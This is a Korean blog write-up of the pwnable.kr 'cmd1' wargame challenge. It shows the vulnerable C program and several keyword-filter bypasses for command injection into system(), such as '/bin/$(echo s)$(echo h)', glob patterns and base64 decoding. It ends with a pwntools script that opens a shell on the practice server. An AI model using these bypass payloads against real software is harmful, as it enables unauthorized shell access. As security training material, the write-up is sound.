일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 포인터
- window
- 배열
- document
- xss game 풀이
- blind sql injection
- 김성엽 대표님
- sql injection
- Pwndbg
- 파이썬
- object
- 메소드
- property
- github
- burp suite
- 백준 파이썬
- jQuery
- lord of sql injection
- 사칙연산
- 백준 알고리즘
- element 조회
- 자바스크립트
- suninatas 풀이
- 함수
- 조건문
- python
- htmlspecialchars
- 객체
- IF문
- xss game
Archives
- Today
- Total
power-girl0-0
[pwnable] cmd1 풀이 본문
728x90
안녕하세욥 ^o^
1. 문제
cmd1에 대한 c코드와 바이너리가 주어지고, flag파일이 존재한다.
아래는 cmd1의 c코드이다.
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
2. 풀이
코드를 확인해보면, 아래와 같은 조건을 확인할 수 있다.
① 입력 값이 flag, sh, tmp은 사용하지 못하게 필터링하고 있다. ② 입력 값을 system함수에 넣어서 실행되고 있는 것을 확인할 수 있다. |
즉, 우리는 입력값에 시스템 명령어를 넣어서 flag를 확인하는 문제인 것 같다.
단 필터링을 우회해서 말이다!
cmd1 바이너리 파일의 권한을 살펴보면, setgid의 권한이 존재하는 것을 알 수 있다.
여기까지 확인이 되었다면, 어떻게 풀어야할지 감을 잡을 수 있다.
sh를 우회해서 shell을 획득하거나, flag를 우회해서 flag파일을 읽으면 된다는 판단이 나온다.
우회하는 방법은 "3.flag획득"을 확인해보기 바란다.
3. flag 획득
① 방식1
echo 방식을 통해 s와 h를 따로 출력해서, sh를 만들어주는 방식이다.
② 방식2
?h는 두글자의 문자 중, 두번째 글자가 h인 것을 출력하라는 의미이다.
즉, sh가 추출되어 /bin/sh가 실행되는 것이다.
③ 방식3
방식2와 같은 방법으로, flag파일을 바로 확인한다.
④ 방식4
/bin/sh를 base64방식으로 바꾼 뒤, 입력값으로 넣어줄 때 다시 base64 디코딩을 진행해준다.
⑤ 방식5
[e-g]는 정규표현식이므로, e와 g사이의 f가 출력된다.
⑥ 방식 6
$1은 아무 의미도 없기 때문에, 가능하다.
4. pwntool을 이용하여, flag 획득
- Code
from pwn import * p = ssh("cmd1","pwnable.kr",port=2222,password="guest") file = b'./cmd1' arg = '/bin/$(echo s)$(echo h)' p1 = p.process([file, arg]) p1.send("/bin/cat flag") p1.interactive()
- 실행결과
다양한 방식을 알고자, 여러 블로그를 참고하여 정리하였습니다.
안녕히계세욥 ~ ^3^
728x90
'War game > pwnable.kr' 카테고리의 다른 글
[pwnable] coin1 풀이 (0) | 2022.03.11 |
---|---|
[pwnable] cmd2 풀이 (0) | 2022.02.21 |
[pwnable] mistake 풀이 (0) | 2022.02.16 |
[pwnable] random 풀이 (0) | 2022.02.13 |
[pwnable] flag 풀이 (0) | 2022.02.12 |
Comments